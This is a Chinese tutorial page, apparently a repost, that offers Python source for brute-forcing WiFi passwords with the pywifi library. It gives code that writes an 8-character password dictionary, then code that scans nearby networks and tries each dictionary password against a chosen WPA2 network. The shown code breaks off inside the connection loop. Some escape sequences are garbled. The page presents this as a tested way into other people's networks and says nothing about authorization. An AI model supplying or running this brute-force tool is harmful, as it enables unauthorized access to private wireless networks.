Python破解WIFI密码完整源代码,实测可成功破解
发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:
目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种: 7,执行破解成功效果截图(成功连接): 8,总结: 9,温馨提示。 # 修正记录:2022-12-01 【破解WIF代码第一种】修正一个小错误,表现为代码执行多次后会报:ERROR Open handle Failed! 错误。已修正。 并增加了尝试次数记数及显示。 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi pip install pywifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 完全是在浪费时间和资源。实话实说 一般字典包括数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=-) 常规WPA2 wifi密码为最低8位,且仅包括数字和小写字母, 所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现), 作为wifi密码组成字典存入txt文档。 4,自己生成字典的算法: import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可选择的字符 r =its.product(words,repeat=8) #组成8位字符串 dic = open("pwd.txt","a") #存储为wifi密码字典 #wifi密码完成换行,并写入txt文档 for i in r: dic.write("".join(i)) dic.write("".join("n")) dic.close() 5,破解WIF代码第一种(2022-12-01修正): import pywifi import time import datetime from pywifi import const # WiFi扫描模块 def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一个无线网卡 interface = wifi.interfaces()[0] # 开始扫描 interface.scan() for i in range(4): time.sleep(1) # print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i),end=')n') print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i)+')') print('r扫描完成!n' + '-' * 38) print('r{:4}{:6}{}'.format('编号','信号强度','wifi名')) # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解决乱码问题 wifi_name_and_signal = (100 + w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list,key=lambda a: a[0],reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print('r{:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list # WIFI破解模块 def wifi_password_crack(wifi_name): # 字典路径 dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:") if dic_path =="": dic_path = "pwd.txt" # 打开文件 # file = open(dic_path,"r") start = datetime.datetime.Now() iCount = 0 # 创建wifi对象 wifi = pywifi.PyWiFi() # 创建网卡对象,为第一个wifi网卡 interface = wifi.interfaces()[0] with open(dic_path,'r') as f: # 遍历密码 for pwd in f: # 去除密码的末尾换行符 pwd = pwd.strip('n') # ERROR Open handle Failed!将这创建对象过程移到上面,防止多次执行时报错 # 创建wifi对象 # wifi = pywifi.PyWiFi() # 创建网卡对象,为第一个wifi网卡 # interface = wifi.interfaces()[0] # 断开所有wifi连接 interface.disconnect() # 等待其断开 while interface.status() == 4: # 当其处于连接状态时,利用循环等待其断开 pass # 创建连接文件(对象) profile = pywifi.Profile() # wifi名称 profile.ssid = wifi_name # 需要认证 profile.auth = const.AUTH_ALG_OPEN # wifi默认加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密码 profile.key = pwd # 删除所有wifi连接文件 interface.remove_all_network_profiles() # 设置新的wifi连接文件 tmp_profile = interface.add_network_profile(profile) (编辑:十堰站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
- python – sqlalchemy将mixin列移动到最后
- python – Django – get_or_create无效
- python – SQLAlchemy过滤器查询由相关对象
- python – Numpy相当于if / else list comprehen
- python – 有效地减去不同形状的numpy数组
- flask:wsgi-middleware vs before_和after_requ
- wpf – Dispatcher与后台线程的区别?
- Django在内联表单管理中获取实例
- python – 替换numpy数组中的元素,避免循环
- python – 来自Windows的OpenCV构建错误“RC对象
热点阅读